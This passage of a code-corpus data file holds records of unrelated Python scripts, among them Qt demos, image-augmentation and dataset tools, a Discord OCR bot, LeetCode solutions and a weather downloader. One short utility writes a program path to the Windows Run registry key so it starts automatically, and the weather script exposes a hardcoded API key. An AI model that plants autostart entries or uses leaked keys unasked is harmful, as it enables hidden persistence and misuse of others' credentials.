QHBoxLayout()\n\n layout.addWidget(Color(\"Blue\"))\n layout.addWidget(Color(\"Green\"))\n layout.addWidget(Color(\"Orange\"))\n layout.addWidget(Color(\"Yellow\"))\n\n widget = QWidget()\n widget.setLayout(layout)\n\n self.setCentralWidget(widget)\n\n\n# create application instance\napp = QApplication([])\n\nwindow = MainWindow()\nwindow.show() # windows are hidden by default\n\n# start the event loop\napp.exec_()","sub_path":"layouts/q_hbox_layout.py","file_name":"q_hbox_layout.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"526588818","text":"from data_aug.data_aug import *\nfrom data_aug.bbox_util import *\nimport cv2\nimport pickle as pkl\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport codecs\nimport copy\n\ndef get_classname():\n\n return {\"1.0\": \"Crack\", \"2.0\":\"Spalling\", \"3.0\":\"Water_seepage\", \"4.0\":\"Ground_water_seepage\"}\n\n\ndef get_category_id():\n\n return {\"Crack\": 1.0, \"Spalling\": 2.0, \"Water_seepage\": 3.0, \"Ground_water_seepage\":4.0}\n\n\ndef save_anno(anno_save_dir, name_xml, tree_xml):\n\n # tree_xml.find(\"filename\").text = name_xml[:-4]+\".jpg\"\n prettifyResult = prettify(tree_xml)\n\n if not os.path.exists(anno_save_dir):\n os.makedirs(anno_save_dir)\n\n out_file = codecs.open(os.path.join(anno_save_dir, name_xml), 'w', encoding='utf-8')\n out_file.write(prettifyResult.decode('utf8'))\n out_file.close()\n\ndef prettify(elem):\n \"\"\"\n Return a pretty-printed XML string for the Element.\n \"\"\"\n rough_string = ET.tostring(elem, 'utf8')\n root = etree.fromstring(rough_string)\n\n return etree.tostring(root, pretty_print=True, encoding='utf-8').replace(\" \".encode(), \"\\t\".encode())\n\n\ndef generate_xml_template(IMG_SIZE=None, FOLDER_NAME=None, IMG_NAME=None, IMG_PATH=\"None\", IMG_CHANNEL=3):\n\n # Check conditions\n if IMG_NAME is None or \\\n FOLDER_NAME is None or \\\n IMG_PATH is None:\n return None\n # print(\"=================================\")\n top = ET.Element('annotation')\n\n folder = ET.SubElement(top, 'folder')\n folder.text = FOLDER_NAME\n\n filename = ET.SubElement(top, 'filename')\n filename.text = IMG_NAME\n\n if IMG_PATH is not None:\n localImgPath = ET.SubElement(top, 'path')\n localImgPath.text = \"localImgPath\"\n\n source = ET.SubElement(top, 'source')\n database = ET.SubElement(source, 'database')\n database.text = \"databaseSrc\"\n\n size_part = ET.SubElement(top, 'size')\n width = ET.SubElement(size_part, 'width')\n height = ET.SubElement(size_part, 'height')\n depth = ET.SubElement(size_part, 'depth')\n width.text = str(IMG_SIZE[1])\n height.text = str(IMG_SIZE[0])\n depth.text = str(IMG_CHANNEL)\n\n segmented = ET.SubElement(top, 'segmented')\n segmented.text = '0'\n return top\n\ndef appendObjects(tree_xml, bboxes, root_save_dir, name_xml, IMG_SIZE):\n # print(len(bboxes))\n # print(tree_xml)\n\n for box in bboxes:\n # class_name = get_classname()[str(box[0])]\n # ymin = box[1]\n # xmin = box[2]\n # ymax = box[3]\n # xmax = box[4]\n class_name = get_classname()[str(box[4])]\n ymin = box[1]\n xmin = box[0]\n ymax = box[3]\n xmax = box[2]\n\n obj = ET.SubElement(tree_xml, 'object')\n obj_name = ET.SubElement(obj, 'name')\n obj_pose =ET.SubElement(obj, 'pose')\n obj_pose.text = 'Unspecified'\n\n truncated = ET.SubElement(obj, 'truncated')\n if int(float(ymax)) == int(float(IMG_SIZE[0])) or (int(float(ymin)) == 1):\n truncated.text = \"1\" # max == height or min\n elif (int(float(xmax)) == int(float(IMG_SIZE[1]))) or (int(float(xmin)) == 1):\n truncated.text = \"1\" # max == width or min\n else:\n truncated.text = \"0\"\n is_difficulty = ET.SubElement(obj, 'difficult')\n is_difficulty.text =str(0)\n\n obj_bndbox = ET.SubElement(obj, 'bndbox')\n bndbox_xmin = ET.SubElement(obj_bndbox, 'xmin')\n bndbox_ymin = ET.SubElement(obj_bndbox, 'ymin')\n bndbox_xmax = ET.SubElement(obj_bndbox, 'xmax')\n bndbox_ymax = ET.SubElement(obj_bndbox, 'ymax')\n\n obj_name.text = class_name\n bndbox_xmin.text = str(int(xmin))\n bndbox_ymin.text = str(int(ymin))\n bndbox_xmax.text = str(int(xmax))\n bndbox_ymax.text = str(int(ymax))\n\n save_anno(root_save_dir, name_xml, tree_xml)\n\n if 0:\n out_file = None\n prettifyResult =prettify(tree_xml)\n out_file = codecs.open(\"/media/user/HDD/Data_processing/lta/data_for_training/20191128/test_%d.xml\"%i, 'w', encoding='utf-8')\n out_file.write(prettifyResult.decode('utf8'))\n out_file.close()\n\ndef read_xml(xml):\n boxes = []\n tree = ET.parse(xml)\n root = tree.getroot()\n for object in root.findall(\"object\"):\n\n class_name = object.find(\"name\").text\n xmin = int(object.find(\"bndbox\").find(\"xmin\").text)\n ymin = int(object.find(\"bndbox\").find(\"ymin\").text)\n xmax = int(object.find(\"bndbox\").find(\"xmax\").text)\n ymax = int(object.find(\"bndbox\").find(\"ymax\").text)\n boxes.append([xmin, ymin, xmax, ymax, get_category_id()[class_name]])\n\n return boxes\n\ndef data_augment(image, bboxes, image_name, root_save, aug_times=3):\n\n transforms = Sequence([RandomHorizontalFlip(1), RandomTranslate(0.1, diff=True), RandomRotate(10), RandomShear(0.1),\n RandomScale(0.1, diff=True)])\n\n for i in range(aug_times):\n try:\n image_name1 = image_name[:-4] + '_%d'%i +image_name[-4:]\n # print(image_name1)\n\n img, bboxes_t = transforms(copy.deepcopy(image), copy.deepcopy(bboxes))\n # drawed_image = draw_rect(img, bboxes_t)\n # plt.imshow(drawed_image)\n # plt.show()\n # plt.close()\n if 1:\n xml_tree = generate_xml_template(IMG_SIZE=img.shape, FOLDER_NAME=\"JPEGImages\", IMG_NAME=image_name1)\n\n anno_save_dir = os.path.join(root_save, \"Annotations\")\n\n appendObjects(copy.deepcopy(xml_tree), bboxes_t, anno_save_dir, name_xml=image_name1[:-4] + \".xml\",\n IMG_SIZE=img.shape)\n\n img_save_dir = os.path.join(root_save, \"JPEGImages\", image_name1)\n cv2.imwrite(img_save_dir, img[:, :, ::-1])\n\n except:\n print(image_name)\n\nif __name__ == '__main__':\n\n if 0:\n img_dir = \"/media/user/HDD/Data_processing/lta/data_for_training/model_generated/2020-07-24-Clark_Quay/images/2020-07-24-Clark_Quay_Round1_A_B_Left_Aerolion_000071.jpg\"\n anno_dir = \"/media/user/HDD/Data_processing/lta/data_for_training/model_generated/2020-07-24-Clark_Quay/annotations/2020-07-24-Clark_Quay_Round1_A_B_Left_Aerolion_000071.xml\"\n\n bboxes = np.array(read_xml(anno_dir))\n img = cv2.imread(img_dir)[:, :, ::-1]\n image_name = \"Left_Aerolion_000071.jpg\"\n root_save = \"/media/user/HDD/others_temp/test\"\n data_augment(img, bboxes, image_name, root_save, aug_times=5)\n\n if 1:\n # root_dir = \"/media/user/HDD/Data_processing/lta/data_for_training/model_generated\"\n # root_dir = \"/home/user/Training_data/4classes\"\n # dataset_list = os.listdir(root_dir)\n\n # for dataset in dataset_list:\n # print(dataset)\n\n # img_folder_dir = os.path.join(root_dir, dataset, \"val\", \"data\", \"JPEGImages\")\n # anno_folder_dir = os.path.join(root_dir, dataset, \"train\", \"data\", \"Annotations\")\n\n img_folder_dir = \"/home/user/Training_data/3classes/training/2021-04-24-Little_India/train/data/JPEGImages\"\n anno_folder_dir = \"/home/user/Training_data/3classes/training/2021-04-24-Little_India/train/data/Annotations\"\n\n # save_root_dir = os.path.join(root_dir, dataset, \"train\", \"data_aug\")\n save_root_dir = \"/home/user/Training_data/3classes/training/2021-04-24-Little_India/train/data_aug\"\n img_save_root = os.path.join(save_root_dir, \"JPEGImages\")\n anno_save_root = os.path.join(save_root_dir, \"Annotations\")\n\n if not os.path.isdir(img_save_root):\n os.makedirs(img_save_root)\n\n if not os.path.isdir(anno_save_root):\n os.makedirs(anno_save_root)\n\n img_list = os.listdir(img_folder_dir)\n\n for img_name in img_list:\n img_dir = os.path.join(img_folder_dir, img_name)\n anno_dir = os.path.join(anno_folder_dir, img_name[:-4]+ \".xml\")\n\n bboxes = np.array(read_xml(anno_dir))\n img = cv2.imread(img_dir)[:, :, ::-1]\n data_augment(img, bboxes, img_name, save_root_dir, aug_times=3)\n\n\n if 0:\n root_dir = \"/home/user/Training_data/LTA/Train/data_supplement\"\n dataset_list = os.listdir(root_dir)\n\n for dataset in dataset_list:\n print(dataset)\n\n img_folder_dir = os.path.join(root_dir, dataset, \"JPEGImages\")\n anno_folder_dir = os.path.join(root_dir, dataset, \"Annotations\")\n\n save_root_dir = os.path.join(root_dir, dataset, \"aug\")\n img_save_root = os.path.join(save_root_dir, \"JPEGImages\")\n anno_save_root = os.path.join(save_root_dir, \"Annotations\")\n\n if not os.path.isdir(img_save_root):\n os.makedirs(img_save_root)\n\n if not os.path.isdir(anno_save_root):\n os.makedirs(anno_save_root)\n\n img_list = os.listdir(img_folder_dir)\n\n for img_name in img_list:\n img_dir = os.path.join(img_folder_dir, img_name)\n anno_dir = os.path.join(anno_folder_dir, img_name[:-4]+ \".xml\")\n\n bboxes = np.array(read_xml(anno_dir))\n img = cv2.imread(img_dir)[:, :, ::-1]\n data_augment(img, bboxes, img_name, save_root_dir, aug_times=3)\n\n\n\n\n\n\n\n\n\n\n","sub_path":"generate_aug_data.py","file_name":"generate_aug_data.py","file_ext":"py","file_size_in_byte":9290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"185039275","text":"# %%\n# VScodeで入力をテキストから読み込んで標準入力に渡す\nimport sys\nimport os\nf=open(r'.\\D141\\D141.txt', 'r', encoding=\"utf-8\")\n# inputをフルパスで指定\n# win10でファイルを作るとs-jisで保存されるため、読み込みをutf-8へエンコードする必要あり\n# VScodeでinput file開くとutf8になってるんだけど中身は結局s-jisになっているらしい\nsys.stdin=f\n\n#\n# 入力スニペット\n# num = int(input())\n# num_list = [int(item) for item in input().split()]\n# num_list = [input() for _ in range(3)]\n##################################\n# %%\n# 以下ペースト可\nimport heapq as hp\nN, M = [int(item) for item in input().split()]\nprice_list = sorted([-1 * int(item) for item in input().split()])\n\ntotal_m = 0\n\ndef discount(price_list, ticket_num):\n total_ticket =0\n hp.heapify(price_list)\n\n while total_ticket < ticket_num:\n temp = hp.heappop(price_list)\n hp.heappush(price_list, -1* (-1*temp//2))\n total_ticket += 1\n\n return price_list\n\nres = discount(price_list, M)\nprint(res)\nprint(-1 * sum(res))","sub_path":"D141/D141.py","file_name":"D141.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446561635","text":"from discord.ext import commands\nfrom BotUtils import REST, getAPIKey, isURL\nfrom datetime import datetime\nimport discord\n\nclass OCR(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n langs = {\n 'arabic': 'ara',\n 'bulgarian':'bul',\n 'chinese': 'chs',\n 'chinese(traditional)': 'cht',\n 'croatian': 'hrv',\n 'czech': 'cze',\n 'danish': 'dan',\n 'dutch': 'dut',\n 'english': 'eng',\n 'finnish': 'fin',\n 'french': 'fre',\n 'german': 'ger',\n 'greek': 'gre',\n 'hungarian': 'hun',\n 'korean': 'kor',\n 'italian': 'ita',\n 'japanese': 'jpn',\n 'polish': 'pol',\n 'portuguese': 'por',\n 'russian': 'rus',\n 'slovenian': 'slv',\n 'spanish': 'spa',\n 'swedish': 'swe',\n 'turkish': 'tur'\n }\n\n def getLang(self, lang: str) -> str:\n if lang in self.langs.values():\n return lang\n\n if lang in self.langs:\n return self.langs[lang]\n \n raise commands.ArgumentParsingError('Invalid language.')\n \n @commands.command(name='ocrlangs', aliases=['ocrlanguages'])\n async def ocrlangs(self, ctx):\n \"\"\"Shows supported ocr languages\"\"\"\n await ctx.reply('```'+'\\n'.join(self.langs.keys())+'```')\n\n @commands.command(name='ocr')\n async def OCRSPACE(self, ctx, *, args=None):\n \"\"\"ocr.space engine V1. Results not what you expected? Try ocr2 command.\n\n args = [link] [language]\n or args = [language] if image as attachment\n or args = [link] if language is english\n args can also be empty if language is english (default) and image in attachment\n \n Use ocrlangs command to see supported languages.\n \"\"\"\n if args:\n args = args.split(' ')\n else:\n args = []\n \n if '-v2' in args:\n engine = 2\n del args[-1]\n\n lang = 'eng'\n\n if not args and len(ctx.message.attachments) == 0:\n raise commands.MissingRequiredArgument(args)\n elif not args:\n link = ctx.message.attachments[0].url\n elif isURL(args[0]):\n link = args[0]\n else:\n raise commands.ArgumentParsingError()\n else:\n engine = 1\n\n if not args and len(ctx.message.attachments) == 0:\n raise commands.MissingRequiredArgument(args)\n elif not args:\n link = ctx.message.attachments[0].url\n lang = 'eng'\n elif isURL(args[0]) and len(args) == 1:\n link = args[0]\n lang = 'eng'\n elif len(args) == 1 and len(ctx.message.attachments) != 0:\n link = ctx.message.attachments[0].url\n lang = self.getLang(args[0])\n elif len(args) == 2 and isURL(args[0]):\n link = args[0]\n lang = self.getLang(args[1])\n elif len(args) == 2 and isURL(args[1]):\n lang = self.getLang(args[0])\n link = args[1]\n else:\n raise commands.ArgumentParsingError()\n\n data = await REST('https://api.ocr.space/parse/image', method='POST', headers={'apikey': getAPIKey('ocrspace')}, data={'url': link, 'language': lang, 'OCREngine': engine})\n\n if data['OCRExitCode'] != 1:\n await ctx.reply(f\"`{data['ErrorMessage']}`\")\n else:\n await ctx.reply(f\"```{data['ParsedResults'][0]['ParsedText']} ```\")\n\n @commands.command(name='ocr2')\n async def OCRSPACE2(self, ctx, *, args=None):\n f\"\"\"ocr.space engine V2. Results not what you expected? Try ocr command.\n V2 engine only supports latin characters, but is better at detecting numbers, special characters and rotated text.\n\n args = [link]\n args can also be empty if image in attachment\n \"\"\"\n if args:\n args += ' -v2'\n else:\n args = '-v2'\n await ctx.invoke(self.OCRSPACE, args=args)\n\n\ndef setup(bot):\n bot.add_cog(OCR(bot))","sub_path":"cogs/apis/ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"254476085","text":"from tdw.librarian import MaterialLibrarian, ModelLibrarian\nfrom tdw.tdw_utils import TDWUtils\nfrom tdw.controller import Controller\nfrom tdw.output_data import Bounds, Images\n\n\nclass ProcGenInteriorDesign(Controller):\n\n def run(self):\n self.start()\n init_setup_commands = [{\"$type\": \"set_screen_size\",\n \"width\": 600,\n \"height\": 480},\n {\"$type\": \"set_render_quality\",\n \"render_quality\": 5}]\n self.communicate(init_setup_commands)\n\n # Create an empty room.\n self.communicate({\"$type\": \"create_empty_environment\",\n \"center\": {\"x\": 0, \"y\": 0, \"z\": 0},\n \"bounds\": {\"x\": 8, \"y\": 8, \"z\": 8}})\n self.communicate({\"$type\": \"set_gravity\",\n \"value\": False})\n\n cube_record = ModelLibrarian(\"models_special.json\").get_record(\"prim_cube\")\n self.communicate({\"$type\": \"add_object\",\n \"name\": \"prim_cube\",\n \"url\": cube_record.get_url(),\n \"scale_factor\": cube_record.scale_factor,\n \"position\": {\"x\": 0, \"y\": 0, \"z\": 0},\n \"rotation\": {\"x\": 0, \"y\": 0, \"z\": 0},\n \"category\": cube_record.wcategory,\n \"id\": 1})\n\n self.communicate({\"$type\": \"scale_object\",\n \"scale_factor\": {\"x\": 30, \"y\": 0.0001, \"z\": 30},\n \"id\": 1})\n\n # Add the avatar.\n self.communicate(TDWUtils.create_avatar(position={\"x\": 0, \"y\": 0.6, \"z\": 0},\n look_at=TDWUtils.array_to_vector3([0.5, 0.5, 0]),\n avatar_id=\"avatar\"))\n\n self.communicate(self.get_add_hdri_skybox(\"table_mountain_1_4k\"))\n self.communicate({\"$type\": \"rotate_hdri_skybox_by\", \"angle\": 90})\n\n lib = MaterialLibrarian(library=\"materials_med.json\")\n record = lib.get_record(\"bricks_chatham_gray_used\")\n self.communicate({\"$type\": \"add_material\", \"name\": \"bricks_chatham_gray_used\", \"url\": record.get_url()})\n self.communicate(TDWUtils.set_visual_material(c=self, substructure=cube_record.substructure, object_id=1,\n material=\"bricks_chatham_gray_used\"))\n\n # self.communicate({\"$type\": \"set_field_of_view\",\n # \"field_of_view\": 68.0,\n # \"avatar_id\": \"avatar\"})\n\n bench = self.add_object(model_name=\"b04_wood_metal_park_bench\",\n position={\"x\": 2, \"y\": 0, \"z\": 0.5},\n rotation={\"x\": 0, \"y\": -90, \"z\": 0},\n library=\"models_full.json\")\n\n self.add_object(model_name=\"b04_wood_metal_park_bench\",\n position={\"x\": 5, \"y\": 0, \"z\": 0.5},\n rotation={\"x\": 0, \"y\": -90, \"z\": 0},\n library=\"models_full.json\")\n\n bench_bounds = self.get_bounds_data(bench)\n top = bench_bounds.get_top(0)\n\n self.add_object(model_name=\"cgaxis_models_65_06_vray\",\n position={\"x\": 1.8, \"y\": top[1] - 0.42, \"z\": 0.35},\n rotation={\"x\": 0, \"y\": 0, \"z\": 0},\n library=\"models_full.json\")\n\n # Enable image capture\n self.communicate({\"$type\": \"set_pass_masks\",\n \"avatar_id\": \"avatar\",\n \"pass_masks\": [\"_img\", \"_id\"]})\n\n self.communicate({\"$type\": \"send_images\",\n \"frequency\": \"always\"})\n\n scene_data = self.communicate({\"$type\": \"look_at_position\",\n \"avatar_id\": \"avatar\",\n \"position\": TDWUtils.array_to_vector3([0.5, 0.5, 0])})\n\n images = Images(scene_data[0])\n TDWUtils.save_images(images, \"bench_book\",\n output_directory=\"/Users/leonard/Desktop/TDWBase-1.5.0/Python/Leonard/compare_COCO_TDW/replicated_images/exterior\")\n\n def get_bounds_data(self, object_id):\n resp = self.communicate({\"$type\": \"send_bounds\",\n \"frequency\": \"once\",\n \"ids\": [object_id]})\n return Bounds(resp[0])\n\n\nif __name__ == \"__main__\":\n ProcGenInteriorDesign().run()\n","sub_path":"compare_COCO_TDW/exterior/bench_book.py","file_name":"bench_book.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"224904881","text":"import os\nsource_path='/home/dl/Downloads/indoorCVPR_09/images/'\ntarget_path='/home/dl/Downloads/indoorCVPR_09/images1/'\n\ni=0\nfor img in sorted(os.listdir(source_path)):\n i=i+1\n name=os.path.splitext(img)\n img_segment=name[0]\n org_name=os.path.join(source_path,img)\n \n changed_name=target_path+str(i)+'.jpg'\n \n \n os.rename(org_name,changed_name)","sub_path":"process_pic/modifyname.py","file_name":"modifyname.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"123584034","text":"from winreg import *\r\n\r\ndef regwrite(alias, path):\r\n aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE)\r\n aKey = OpenKey(aReg, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\")\r\n aKey = OpenKey(aReg, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_WRITE)\r\n SetValueEx(aKey, alias, 0, REG_SZ, path)\r\n CloseKey(aKey)\r\n CloseKey(aReg)\r\n\r\n","sub_path":"regwrite.py","file_name":"regwrite.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"299242663","text":"import os\nimport sys\nimport numpy as np\nfrom keras.preprocessing.image import load_img, img_to_array\nimport pickle as pck\nfrom keras.utils import np_utils, generic_utils\nimport shutil\nclass imageForMacroBatches:\n\tdef __init__(self,image,label):\n\t\tself.image = image\n\t\tself.label = label\n\n\n#AMOUNT OF IMAGES PER MACROBATCH = 5000\n#HENCE THERE WILL BE 257 FOLDER\n\nimagesPaths = list()\ntrainingDataPath = '/Volumes/data2/ImageNetTrain/ILSVRC2015/Data/CLS-LOC/train/'\ndirOfMacroBatches = '/Volumes/data2/ImageNetTrain/ILSVRC2015/Data/CLS-LOC/macrobatchesTrain/'\nlabelsDict = dict()\nfoldersToLoad = os.listdir(trainingDataPath)\ni = 0\nprogbar = generic_utils.Progbar(len(foldersToLoad))\nfor currentFolder in foldersToLoad:\n\tcurrentImagesPaths = os.listdir(trainingDataPath + currentFolder)\n\tfor currentImagePath in currentImagesPaths:\n\t\timagesPaths.append(currentFolder + '/' +currentImagePath)\n\tprogbar.add(1)\n\tlabelsDict[currentFolder] = i\n\ti += 1\ncurrentPklFile = open(dirOfMacroBatches + 'labelsDict.pkl', 'w')\npck.dump(labelsDict,currentPklFile)\ncurrentPklFile.close()\nimagesPaths = np.asarray(imagesPaths)\npermutation = np.random.permutation(len(imagesPaths))\nimagesPaths = imagesPaths[permutation]\n\nimagesPathsIter = iter(imagesPaths)\n#CREATE OBJECTS AND TAR THEM INTO MACROBATCHES\nnumberOfMacroBatches = np.ceil(len(imagesPaths)/5000.)\n\nprogbar = generic_utils.Progbar(numberOfMacroBatches)\nfor i in range(int(numberOfMacroBatches)):\n\tos.mkdir(dirOfMacroBatches + 'macrobatch' + str(i))\n\tcurrentMacroBatch = list()\n\tfor j in range(5000):\n\t\tcurrentPath = next(imagesPathsIter,None)\n\t\tif(currentPath != None):\n\t\t\tshutil.copy2(trainingDataPath+currentPath,dirOfMacroBatches+'macrobatch'+str(i))\n\t\t# if(currentPath != None):\n\t\t# \tcurrentMacroBatch.append(imageForMacroBatches(img_to_array(load_img(trainingDataPath + currentPath)),labelsDict[currentPath[0:9]]))\n\t\t# else:\n\t\t# \tbreak\t\n\t\t#CREATE OBJECT\n\t\t# if(currentPath != None):\n\t\t# \tcurrentObject = imageForMacroBatches(img_to_array(load_img(trainingDataPath + currentPath)),labelsDict[currentPath[0:9]])\n\t\t# \tcurrentPklFile = open(dirOfMacroBatches + 'macrobatch' + str(i) + '/' + str(j) + '.pkl', 'w')\n\t\t# \tpck.dump(currentObject,currentPklFile)\n\t\t# \tcurrentPklFile.close()\n\t\t# else:\n\t\t# \tbreak\n\t\telse:\n\t\t\tbreak\n\tprogbar.add(1)\nprint('Done')\n\t# currentPklFile = open(dirOfMacroBatches + str(i) + '.pkl', 'w')\n\t# pck.dump(currentMacroBatch,currentPklFile)\n\t# currentPklFile.close()\n\t\n\n\n\n\t","sub_path":"PhD_Experiments/ImageNet/generateMacroBatches.py","file_name":"generateMacroBatches.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593441437","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport tensorflow as tf\nfrom tensorflow import keras\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\nimport os\n\nimport UTKFaceLoader128_v2\n\n\n# In[2]:\n# In[10]:\n\n\ndef saveSample(generator, outputDirectory, epochs, sampleDirectory = '../../Datasets/UTKSelectedSamples'):\n if not os.path.exists(outputDirectory):\n os.mkdir(outputDirectory)\n \n if not os.path.exists(sampleDirectory):\n print('****** ERROR ****** \\\"' + sampleDirectory + '\\\" cannot found.')\n return\n \n # Sort the file\n tempList = os.listdir(sampleDirectory)\n for i in range(len(tempList)):\n temp = tempList[i].split('_')\n tempList[i] = int(temp[0]) * 10000 + int(temp[1]) * 10 + int(temp[2])\n posList = []\n for i in range(len(tempList)):\n posList.append(i)\n tempDict = dict(zip(tempList, posList))\n oList = os.listdir(sampleDirectory)\n imageList = os.listdir(sampleDirectory)\n tempList = sorted(tempList)\n for i in range(len(tempList)):\n imageList[i] = oList[tempDict[tempList[i]]]\n images = []\n for i in imageList:\n img = Image.open(sampleDirectory + '/' + i)\n img = img.resize((128, 128))\n img = np.array(img)\n img = img / 127.5 - 1.0\n images.append(img)\n ages = [0, 8, 15, 25, 35, 45, 55, 65, 75, 85]\n \n \n \n # Save as figure\n counter = 0\n y = len(imageList)\n x = 1 + len(ages)\n \n fig = plt.figure()\n \n for j in range(y):\n for i in range(x):\n counter = counter + 1\n plt.subplot(y, x, counter)\n plt.axis('off')\n \n if i == 0:\n if j == 0:\n plt.title('Original', fontsize=6)\n plt.imshow(images[j] * 0.5 + 0.5)\n else:\n if j == 0:\n plt.title(UTKFaceLoader128_v2.getAgeGroupLabel(ages[i - 1]), fontsize=6)\n # Generated image\n genImage = generator([np.expand_dims(images[j], 0), np.expand_dims(UTKFaceLoader128_v2.ageToOnehot(ages[i - 1]), 0)])[0]\n plt.imshow(genImage * 0.5 + 0.5)\n \n plt.savefig(outputDirectory + '/epoch_' + str(epochs) + '.jpg', dpi=300)\n plt.close()\n\n","sub_path":"SourceCode/SampleSaver.py","file_name":"SampleSaver.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226296297","text":"'''\n\nSay you have an array for which the ith element is the price of a given stock on day i.\n\nIf you were only permitted to complete at most one transaction (i.e., buy one and sell one share of the stock), design an algorithm to find the maximum profit.\n\nNote that you cannot sell a stock before you buy one.\n\nExample 1:\n\nInput: [7,1,5,3,6,4]\nOutput: 5\nExplanation: Buy on day 2 (price = 1) and sell on day 5 (price = 6), profit = 6-1 = 5.\n Not 7-1 = 6, as selling price needs to be larger than buying price.\nExample 2:\n\nInput: [7,6,4,3,1]\nOutput: 0\nExplanation: In this case, no transaction is done, i.e. max profit = 0.\n\n'''\n\n'''\nsolution 1, 2 time limit exceed\n\nclass Solution:\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n nb = len(prices)\n maxprice = 0\n for i in range(nb - 1):\n temp = max(prices[i + 1:nb]) - prices[i]\n if temp > maxprice:\n maxprice = temp\n return maxprice\n\n\nclass Solution:\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n nb = len(prices)\n maxprice = 0\n for i in range(nb):\n for j in range(i+1,nb):\n temp=prices[j]-prices[i]\n if temp>maxprice:\n maxprice=temp\n return maxprice\n'''\n\n#200 / 200 test cases passed. Runtime: 40 ms\n# your runtime beats 100% of python 3 submissions.\n\nclass Solution:\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n nb = len(prices)\n maxprofit = 0\n minprice=float('Inf')\n for i in range(nb):\n if prices[i]maxprofit:\n maxprofit=prices[i]-minprice\n return maxprofit\n\n\n# cpp, dp\n'''\nclass Solution {\npublic:\n int maxProfit(vector& prices) {\n if (prices.empty()) return 0;\n int res = 0, prevMin = prices[0];\n for (int i = 1; i < prices.size(); ++i) {\n res = max(res, prices[i] - prevMin);\n prevMin = min(prices[i], prevMin);\n }\n return res;\n \n }\n};\n\n'''\n\n# 2020/05/05, dp\n\n'''\nRuntime: 72 ms, faster than 26.78% of Python3 online submissions for Best Time to Buy and Sell Stock.\nMemory Usage: 15.1 MB, less than 5.75% of Python3 online submissions for Best Time to Buy and Sell Stock.\n'''\n\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n res = 0\n curr_min = float(\"inf\")\n for i in range(1, len(prices)):\n curr_min = min(curr_min, prices[i - 1])\n res = max(res, prices[i] - curr_min)\n return res\n\n","sub_path":"0121. maxProfit.py","file_name":"0121. maxProfit.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"126946335","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nfrom collections import deque\nclass Solution:\n def hasPathSum(self, root, sum):\n \"\"\"\n :type root: TreeNode\n :type sum: int\n :rtype: bool\n \"\"\"\n if not root:\n return False\n lookup_parent = {root: None}\n traversal_queue = deque([root])\n leaves = []\n while len(traversal_queue) > 0:\n node = traversal_queue.popleft()\n if node.left:\n lookup_parent[node.left] = node\n traversal_queue.append(node.left)\n if node.right:\n lookup_parent[node.right] = node\n traversal_queue.append(node.right)\n if not node.left and not node.right:\n leaves.append(node)\n for n in leaves:\n sum_val = 0\n while n is not None:\n sum_val += n.val\n n = lookup_parent[n]\n if sum_val == sum:\n return True\n return False","sub_path":"100-200/112_path_sum.py","file_name":"112_path_sum.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169672889","text":"from wwo_hist import retrieve_hist_data\n\n## based on one day\nFREQUENCY = 24\nSTART_DATE = '01-Jan-2017'\nEND_DATE = '31-DEC-2018'\n## set the API_KEY\nAPI_KEY = '2326f955e1854e48b2205957200512'\nLOCATION_LIST = ['hongkong']\n\n# stroed in .csv format\nhist_weather_data = retrieve_hist_data(API_KEY,\n LOCATION_LIST,\n START_DATE,\n END_DATE,\n FREQUENCY,\n location_label = False,\n export_csv = True,\n store_df = True)\n\n# cp /usr/local/lib/python3.6/dist-packages/wwo_hist/__init__.py .","sub_path":"download_wwo.py","file_name":"download_wwo.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627247852","text":"\n#%%\nfrom matplotlib.pyplot import imshow, show\nfrom PIL import Image\nimport numpy as np\nimport skimage.color as sc\n\n\n#%%\nimg = np.array(Image.open(\"E:\\philongg2000-OneDrive\\OneDrive\\Pictures\\Saved Pictures\\935873.jpg\"))\nimshow(img)\n # Convert colored image to gray image\nimg_mono = sc.rgb2gray(img)\nimshow(img_mono, cmap = 'gray')\n\n\n#%%\ndef img_histogram(img):\n import matplotlib.pyplot as plt\n fig = plt.figure(figsize 